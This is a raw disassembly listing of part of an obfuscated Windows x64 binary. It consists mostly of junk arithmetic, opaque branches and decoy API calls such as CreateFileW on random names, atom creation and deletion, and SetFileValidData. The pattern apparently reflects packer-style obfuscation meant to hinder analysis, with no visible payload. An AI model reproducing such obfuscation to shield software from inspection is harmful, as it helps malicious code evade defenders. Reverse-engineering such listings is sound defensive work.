mov eax, 0x337
mov word [rsp + 0x2b94], ax
movabs rax, 0x7af06ef5f484f1
mov qword [rsp + 0x12748], rax
mov dword [rsp + 0x91ac], 0xaec7
mov byte [rsp + 0x593], 0x97
movabs rax, 0x777c9407d8763d
mov qword [rsp + 0x12750], rax
mov dword [rsp + 0x91b0], 0x20fb
mov eax, reloc.SHELL32.dll_SHChangeNotification_Lock
mov word [rsp + 0x2b98], ax
mov eax, 0x6a5
mov word [rsp + 0x2b9c], ax
movabs rax, 0x7e079a5ff56020
mov qword [rsp + 0x12758], rax
mov eax, 0x1f2
mov word [rsp + 0x2ba0], ax
mov dword [rsp + 0x91b4], 0x41c4
mov dword [rsp + 0x91b8], 0x601b
mov eax, 0xb02
mov word [rsp + 0x2ba4], ax
movabs rax, 0x767f6f0f434cb7
mov qword [rsp + 0x12760], rax
movabs rax, 0x7ce90c98d8283c
mov qword [rsp + 0x12768], rax
mov dword [rsp + 0x91bc], 0x6c52
mov dword [rsp + 0x91c0], 0x5ab9
movabs rax, 0x776ed9876eabae
mov qword [rsp + 0x12770], rax
mov dword [rsp + 0x91c4], 0x2e13
mov dword [rsp + 0x91c8], 0x1ce6
mov dword [rsp + 0x91cc], 0x6b7
mov dword [rsp + 0x91d0], 0x4104
mov eax, 0x45
mov word [rsp + 0x2ba8], ax
movabs rax, 0x7edcc47fec8532
mov qword [rsp + 0x12778], rax
mov dword [rsp + 0x91d4], 0xba19
movabs rax, 0x7438bfda3e0646
mov qword [rsp + 0x12780], rax
mov eax, 0xee7
mov word [rsp + 0x2bac], ax
movabs rax, 0x794f56f36f5821
mov qword [rsp + 0x12788], rax
movabs rax, 0x7c08d7f8249888
mov qword [rsp + 0x12790], rax
movabs rax, 0x7377d7d22c2103
mov qword [rsp + 0x12798], rax
mov eax, 0x319
mov word [rsp + 0x2bb0], ax
mov eax, 0x1b8
mov word [rsp + 0x2bb4], ax
movabs rax, 0x720c9f840f5db6
mov qword [rsp + 0x127a0], rax
movabs rax, 0x7d0836cc2a99e2
mov qword [rsp + 0x127a8], rax
mov byte [rsp + 0x594], 0x4a
mov eax, 0xaaa
mov word [rsp + 0x2bb8], ax
mov dword [rsp + 0x91d8], 0xd9c1
movabs rax, 0x75f9991dab3b80
mov qword [rsp + 0x127b0], rax
mov eax, 0x921
mov word [rsp + 0x2bbc], ax
mov dword [rsp + 0x91dc], 0xaccd
mov dword [rsp + 0x91e0], 0x2bd6
movsx eax, byte [rsp + 0x549]
add eax, 0x6d
mov byte [rsp + 0x549], al
movabs rax, 0x7975a5b85a3ba4
mov rcx, qword [0x14027d370]
sub rcx, rax
mov rax, rcx
mov qword [0x14027d370], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x91e4], 0x5ada
mov dword [rsp + 0x91e8], 0x581b
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILClone
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.zu0zfILDqF4kIdXEPdcjGxZMKFLUURS9FTfCoS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x127b8], rax
mov byte [rsp + 0x595], 0x1e
mov eax, dword [rsp + 0x91e8]
mov dword [rsp + 0x91ec], eax
cmp dword [rsp + 0x91ec], 0x581b
je 0x140018ead
jmp 0x140018f6d
mov eax, dword [rsp + 0x91e8]
mov dword [rsp + 0x91f0], eax
cmp dword [rsp + 0x91f0], 0x581b
je 0x140018f00
cmp dword [rsp + 0x91f0], 0x6fb2
je 0x140018eda
jmp 0x140018f6b
mov eax, dword [rsp + 0x91e8]
and eax, 0x6d1f
mov dword [rsp + 0x91e8], eax
mov eax, dword [rsp + 0x91e8]
sar eax, 0xc
mov dword [rsp + 0x91e8], eax
jmp 0x140018f6b
mov eax, dword [rsp + 0x91dc]
or eax, 0x72ad
mov dword [rsp + 0x8d74], eax
movabs rax, 0x7312f1045ae194
mov qword [rsp + 0x127c0], rax
movzx eax, byte [rsp + 0x595]
mov byte [rsp + 0x596], al
movzx eax, byte [rsp + 0x549]
mov byte [0x1402c418c], al
mov dword [rsp + 0x91f4], 0xa19e
movsx eax, word [rsp + 0x1d4c]
shl eax, 0xc
mov word [rsp + 0x1d4c], ax
mov dword [rsp + 0x91f8], 0x1d43
jmp 0x140018fcc
movzx eax, byte [rsp + 0x595]
xor eax, 0xdc
mov byte [rsp + 0x596], al
mov edx, ILClone
mov rcx, qword [rsp + 0x127c8]
call qword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
mov dword [rsp + 0x91fc], eax
movzx eax, byte [rsp + 0x596]
mov byte [rsp + 0x20], al
mov r9d, dword [rsp + 0x91dc]
movzx r8d, byte [rsp + 0x596]
movzx edx, byte [rsp + 0x549]
mov ecx, dword [rsp + 0x8d74]
call fcn.140231ac0
mov rax, qword [0x14027d370]
mov qword [rsp + 0x127d0], rax
mov eax, dword [rsp + 0x91e8]
mov dword [rsp + 0x9200], eax
movsx eax, byte [rsp + 0x549]
movsx ecx, byte [0x1402c418c]
sub eax, ecx
mov byte [rsp + 0x36d], al
movzx eax, byte [rsp + 0x596]
add eax, 0x80
movzx ecx, byte [rsp + 0x595]
cmp eax, ecx
jle 0x140019157
mov eax, dword [rsp + 0x8d74]
mov ecx, dword [rsp + 0x91fc]
and ecx, eax
mov eax, ecx
mov dword [0x14027d378], eax
mov rax, qword [rsp + 0x127c0]
mov qword [rsp + 0x127d8], rax
mov eax, dword [rsp + 0x9200]
mov dword [rsp + 0x9204], eax
cmp dword [rsp + 0x9204], 0x204a
je 0x140019077
cmp dword [rsp + 0x9204], 0x7540
je 0x1400190f2
jmp 0x140019111
mov eax, dword [rsp + 0x91fc]
mov ecx, dword [rsp + 0x91dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d74], eax
mov eax, dword [rsp + 0x9200]
add eax, 0xda
mov dword [rsp + 0x91e8], eax
movabs rax, 0x7da300367b4ee8
mov rcx, qword [rsp + 0x127d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x127c0], rax
mov rcx, qword [rsp + 0x127e0]
call qword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
mov dword [rsp + 0x9208], eax
movsx eax, byte [0x1402c418c]
movsx ecx, byte [rsp + 0x36d]
add eax, ecx
mov byte [rsp + 0x549], al
jmp 0x140019111
movabs rax, 0x748699754d7fb6
mov rcx, qword [0x14027d370]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.PITwOZwSiqr6lBW9IoVPq
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x127e8], rax
movzx eax, word [rsp + 0x1d4c]
mov word [rsp + 0x2bc0], ax
movzx eax, word [rsp + 0x2ac0]
sar eax, 0xa
mov word [rsp + 0x2ac0], ax
mov dword [rsp + 0x920c], 0xdf8d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.hSBm6pzGrPd6RW5zF5bSA58F4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x127f0], rax
movzx eax, byte [rsp + 0x596]
mov byte [rsp + 0x9210], al
cmp byte [rsp + 0x9210], 0x1e
je 0x1400191ed
cmp byte [rsp + 0x9210], 0xc5
je 0x14023186c
jmp 0x14023189a
mov eax, dword [rsp + 0x91dc]
mov dword [rsp + 0x91fc], eax
movzx eax, byte [0x1402c418c]
mov byte [rsp + 0x9214], al
cmp byte [rsp + 0x9214], 0x42
je 0x140019215
jmp 0x14001921f
call fcn.140231a50
jmp 0x1402317d4
lea rcx, [rsp + 0x28338]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [rsp + 0x9218], 0xdc20
movsx eax, word [rsp + 0x1d4c]
movsx ecx, word [rsp + 0x2bc0]
sub eax, ecx
mov word [0x14027d37c], ax
mov eax, dword [0x14027d378]
mov dword [rsp + 0x921c], eax
cmp dword [rsp + 0x921c], 0
je 0x14001926d
jmp 0x1400192fc
lea rcx, [rsp + 0x29800]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x595]
mov byte [rsp + 0x597], al
movzx eax, word [rsp + 0x2bc0]
mov word [rsp + 0x2bc4], ax
mov eax, dword [rsp + 0x8d74]
mov dword [rsp + 0x9220], eax
mov dword [rsp + 0x9224], 0xc8e7
mov eax, dword [rsp + 0x9200]
mov ecx, dword [rsp + 0x91e8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c70], eax
lea rax, [rsp + 0x127c0]
mov qword [rsp + 0x127f8], rax
mov dword [rsp + 0x9228], 0xa9dd
lea rax, [rsp + 0x127d0]
mov qword [rsp + 0x12800], rax
jmp 0x1400193a2
movzx eax, word [rsp + 0x2ac0]
add eax, 0xbc4
mov word [rsp + 0x2ac0], ax
movsx eax, word [rsp + 0x2bc4]
movsx ecx, word [rsp + 0x2bc0]
sub eax, ecx
mov word [rsp + 0x1d4c], ax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127d8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [0x14027d370]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d0], rax
mov dx, 0xde
mov rcx, qword [rsp + 0x12808]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dword [rsp + 0x922c], eax
movzx r8d, word [rsp + 0x2ac0]
movzx edx, word [rsp + 0x1d4c]
mov ecx, dword [rsp + 0x91fc]
call fcn.1402319d0
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov qword [rsp + 0x12810], rax
mov eax, dword [rsp + 0x7c70]
movzx ecx, al
mov eax, dword [rsp + 0x91e8]
shl eax, cl
mov dword [rsp + 0x9200], eax
mov eax, dword [rsp + 0x91dc]
mov dword [rsp + 0x9230], eax
movzx eax, byte [rsp + 0x597]
movzx ecx, byte [rsp + 0x595]
sar eax, cl
mov byte [rsp + 0x596], al
movzx eax, word [rsp + 0x2ac0]
xor eax, 0x72c
mov word [rsp + 0x1268], ax
movzx eax, word [rsp + 0x2bc4]
mov word [rsp + 0x2bc8], ax
mov rcx, qword [rsp + 0x127b8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x9234], eax
lea rcx, str.hph2
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2bcc], ax
movzx eax, byte [rsp + 0x549]
mov byte [rsp + 0x598], al
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x127d0]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14027d370], rax
movsx eax, word [0x14027d37c]
movsx ecx, word [rsp + 0x2bc4]
and eax, ecx
mov word [rsp + 0x2bc0], ax
movzx ecx, word [rsp + 0x2bcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bd0], ax
mov eax, dword [rsp + 0x91dc]
mov ecx, dword [rsp + 0x9220]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d74], eax
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0x7c70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9200], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9238], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12810]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127c0], rax
movzx eax, word [rsp + 0x1268]
sub eax, 0x403
mov word [rsp + 0x2ac0], ax
movzx eax, byte [rsp + 0x595]
movzx ecx, byte [rsp + 0x596]
sub eax, ecx
mov byte [rsp + 0x597], al
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x127d0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x12800]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2ac0]
add eax, 0x3ac
mov word [rsp + 0x1268], ax
movsx eax, word [rsp + 0x2bc0]
movsx ecx, word [rsp + 0x2bc8]
add eax, ecx
mov word [0x14027d37c], ax
movzx eax, byte [rsp + 0x597]
movzx ecx, byte [rsp + 0x595]
sub eax, ecx
mov byte [rsp + 0x596], al
mov eax, dword [rsp + 0x9200]
movzx ecx, al
mov eax, dword [rsp + 0x91e8]
sar eax, cl
mov dword [rsp + 0x7c70], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127d8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x12810], rax
mov eax, dword [rsp + 0x91fc]
movzx ecx, al
mov eax, dword [rsp + 0x8d74]
shl eax, cl
mov dword [rsp + 0x9220], eax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [0x14027d370]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d0], rax
movsx eax, word [rsp + 0x1d4c]
movsx ecx, word [rsp + 0x2bc8]
and eax, ecx
mov word [rsp + 0x2bc4], ax
mov r9d, 1
lea r8, [rsp + 0x12818]
mov rdx, qword [rsp + 0x12818]
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x923c], eax
movsx eax, byte [rsp + 0x549]
movsx ecx, byte [rsp + 0x598]
sub eax, ecx
mov byte [rsp + 0x36d], al
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127c0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x127d0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x12800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x127d0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x12800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127d8], rax
lea rcx, str.C4WW
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2bd0], ax
mov eax, dword [rsp + 0x7c70]
mov ecx, dword [rsp + 0x91e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9200], eax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x127d0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x12800]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2ac0]
add eax, 0x6e7
mov word [rsp + 0x1268], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rcx, qword [rsp + 0x127e8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x9240], eax
movzx eax, byte [rsp + 0x595]
movzx ecx, byte [rsp + 0x597]
xor eax, ecx
mov byte [rsp + 0x596], al
movsx eax, word [rsp + 0x1d4c]
movsx ecx, word [rsp + 0x2bc0]
or eax, ecx
mov word [rsp + 0x2bc4], ax
mov edx, 0x6355d7
mov rcx, qword [rsp + 0x127b8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x9244], eax
mov rax, qword [0x14027d370]
mov rcx, qword [rsp + 0x12800]
mov qword [rsp + 0x12820], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12820]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x127d0], rax
mov rax, qword [rsp + 0x127d8]
mov rcx, qword [rsp + 0x127f8]
mov qword [rsp + 0x12828], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12828]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x91e4]
sub eax, 0x17
mov dword [rsp + 0x91e4], eax
movzx eax, byte [rsp + 0x597]
movzx ecx, byte [rsp + 0x595]
sub eax, ecx
mov byte [rsp + 0x596], al
mov eax, dword [rsp + 0x91fc]
mov ecx, dword [rsp + 0x8d74]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9230], eax
mov rax, qword [rsp + 0x127c0]
mov rcx, qword [rsp + 0x127d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x12810], rax
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0x7c70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9200], eax
cmp dword [rsp + 0x91e4], 0x55d2
jae 0x140019454
movsx eax, byte [rsp + 0x36d]
movsx ecx, byte [rsp + 0x549]
sub eax, ecx
mov byte [rsp + 0x598], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd82f
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9248], eax
mov rax, qword [rsp + 0x127d8]
mov qword [rsp + 0x12830], rax
cmp qword [rsp + 0x12830], 0
je 0x14001990a
jmp 0x140231680
movzx eax, byte [rsp + 0x597]
movzx ecx, byte [rsp + 0x596]
sub eax, ecx
mov byte [rsp + 0x595], al
mov dword [rsp + 0x924c], 0xff47
mov eax, dword [rsp + 0x9230]
mov ecx, dword [rsp + 0x8d74]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x91fc]
mov edx, dword [rsp + 0x9220]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14001997f
movzx r9d, word [rsp + 0x2bc0]
mov rax, qword [rsp + 0x127f8]
mov r8, qword [rax]
movzx edx, word [rsp + 0x2bc4]
movzx ecx, word [rsp + 0x2bc8]
call fcn.140231910
lea rdx, [rsp + 0x12838]
mov rcx, qword [rsp + 0x127e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x9234], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
cmp dword [rsp + 0x920c], 0xe1bd
jae 0x140019f03
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1d4c]
movsx ecx, word [rsp + 0x2bc8]
sub eax, ecx
mov word [rsp + 0x2bc0], ax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [0x14027d370]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127d0], rax
mov eax, dword [rsp + 0x8d74]
mov ecx, dword [rsp + 0x91dc]
sub ecx, eax
mov eax, ecx
mov dword [0x14027d378], eax
movzx ecx, word [rsp + 0x2bd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bd4], ax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12810]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x127c0], rax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127c0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x598]
movsx ecx, byte [rsp + 0x36d]
sub eax, ecx
mov byte [rsp + 0x549], al
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0x9200]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c70], eax
movzx eax, word [rsp + 0x2ac0]
shl eax, 5
mov word [rsp + 0x1268], ax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x127d0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x12800]
mov qword [rcx], rax
mov rax, qword [0x14027d370]
mov rcx, qword [rsp + 0x12800]
mov qword [rsp + 0x12840], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12840]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x127d0], rax
lea rdx, [rsp + 0x2d7a0]
mov rcx, qword [rsp + 0x127b8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9250], eax
movsx eax, word [rsp + 0x1d4c]
movsx ecx, word [rsp + 0x2bc4]
or eax, ecx
mov word [rsp + 0x2bc8], ax
movsx eax, word [rsp + 0x1d4c]
movsx ecx, word [rsp + 0x2bc4]
and eax, ecx
mov word [0x14027d37c], ax
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0x9200]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c70], eax
mov eax, dword [rsp + 0x9230]
mov ecx, dword [rsp + 0x8d74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9220], eax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x127c0], rax
movzx eax, word [rsp + 0x2ac0]
sub eax, 0xbb6
mov word [rsp + 0x1268], ax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [0x14027d370]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d0], rax
movzx eax, byte [rsp + 0x597]
movzx ecx, byte [rsp + 0x595]
add eax, ecx
mov byte [rsp + 0x596], al
lea rdx, [rsp + 0x2d7d8]
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9244], eax
movsx eax, word [rsp + 0x2bc0]
movsx ecx, word [rsp + 0x2bc4]
add eax, ecx
mov word [rsp + 0x1d4c], ax
mov r9d, 2
lea r8, [rsp + 0x12838]
mov rdx, qword [rsp + 0x12848]
mov rcx, qword [rsp + 0x127e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x9244], eax
movzx eax, word [rsp + 0x1268]
sub eax, 0x4ad
mov word [rsp + 0x2ac0], ax
mov eax, dword [rsp + 0x920c]
add eax, 0x38
mov dword [rsp + 0x920c], eax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127d0]
xor rcx, rax
mov rax, rcx
mov qword [0x14027d370], rax
movzx eax, word [rsp + 0x2ac0]
or eax, 0x34d
mov word [rsp + 0x1268], ax
lea rdx, [rsp + 0x9248]
mov rcx, qword [rsp + 0x127b8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x9238], eax
mov rax, qword [rsp + 0x127d0]
mov rcx, qword [rsp + 0x12800]
mov qword [rsp + 0x12850], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12850]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x12800]
mov qword [rcx], rax
lea rcx, [rsp + 0x29830]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x91e8]
movzx ecx, al
mov eax, dword [rsp + 0x9200]
sar eax, cl
mov dword [rsp + 0x7c70], eax
mov eax, dword [rsp + 0x91dc]
mov ecx, dword [rsp + 0x91fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d74], eax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12810]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d8], rax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12810]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x127f8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x2bc4]
movsx ecx, word [rsp + 0x1d4c]
sub eax, ecx
mov word [rsp + 0x2bc0], ax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [0x14027d370]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d0], rax
mov eax, dword [rsp + 0x8d74]
mov ecx, dword [rsp + 0x91fc]
and ecx, eax
mov eax, ecx
mov dword [0x14027d378], eax
lea rdx, [rsp + 0x2d810]
mov rcx, qword [rsp + 0x127e8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9254], eax
movzx eax, word [rsp + 0x2ac0]
add eax, 0xbdd
mov word [rsp + 0x1268], ax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12810], rax
mov rax, qword [0x14027d370]
mov rcx, qword [rsp + 0x127d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12800]
mov qword [rcx], rax
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0x9200]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c70], eax
movzx ecx, word [rsp + 0x2bcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bd0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
movzx ecx, word [rsp + 0x2bcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bcc], ax
movsx eax, word [rsp + 0x2bc0]
movsx ecx, word [rsp + 0x2bc4]
or eax, ecx
mov word [rsp + 0x2bc8], ax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [0x14027d370]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x127d0], rax
movzx eax, byte [rsp + 0x597]
movzx ecx, byte [rsp + 0x596]
shl eax, cl
mov byte [rsp + 0x595], al
jmp 0x1400199a6
movsx eax, word [rsp + 0x2bc0]
movsx ecx, word [0x14027d37c]
sar eax, cl
mov word [rsp + 0x25b8], ax
mov eax, dword [rsp + 0x91e8]
mov dword [0x1402c4188], eax
movsx eax, byte [rsp + 0x598]
imul eax, eax, 0x19
mov byte [rsp + 0x549], al
mov dword [rsp + 0x9258], 0xb14e
movzx eax, word [rsp + 0x2ac0]
mov dword [rsp + 0x925c], eax
cmp dword [rsp + 0x925c], 0xa7f
je 0x140019f67
jmp 0x140019fee
movzx eax, word [rsp + 0x1268]
and eax, 0x14d
mov word [rsp + 0x2ac0], ax
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0x7c70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9200], eax
mov eax, dword [rsp + 0x91fc]
mov ecx, dword [rsp + 0x8d74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9220], eax
mov rax, qword [rsp + 0x12810]
mov rcx, qword [rsp + 0x127d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x127c0], rax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [0x14027d370]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x127d0], rax
jmp 0x14001a04e
movzx eax, word [rsp + 0x1268]
mov word [rsp + 0x2bd8], ax
lea rax, [rsp + 0x2bc8]
mov qword [rsp + 0x12858], rax
movzx eax, word [rsp + 0x2ac0]
movzx ecx, word [rsp + 0x2bd8]
sub eax, ecx
mov word [0x14027d380], ax
movzx eax, byte [rsp + 0x597]
mov byte [rsp + 0x599], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x12860], rax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127d0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x11420], rax
movzx eax, byte [rsp + 0x595]
movzx ecx, byte [rsp + 0x597]
add eax, ecx
mov byte [rsp + 0x599], al
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12810]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127d8], rax
movsx eax, word [0x14027d37c]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x2bc4]
movsx edx, word [rsp + 0x2bc8]
xor ecx, edx
cmp eax, ecx
jg 0x140231632
lea rax, [rsp + 0x7c70]
mov qword [rsp + 0x12868], rax
mov rax, qword [rsp + 0x12858]
movzx eax, word [rax]
mov word [rsp + 0x2bdc], ax
movzx eax, word [rsp + 0x2bd8]
movzx ecx, word [rsp + 0x1268]
cdq
idiv ecx
mov word [rsp + 0x2ac0], ax
movsx eax, byte [0x1402c418c]
movsx ecx, byte [rsp + 0x549]
shl eax, cl
mov byte [0x14027d038], al
mov dword [rsp + 0x9260], 0x15ca
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x9264], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12810]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x127c0]
mov rdx, qword [rsp + 0x127d8]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jbe 0x14001a2a3
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x11420]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x127d0], rax
movsx eax, byte [0x14027d038]
movsx ecx, byte [rsp + 0x549]
sub eax, ecx
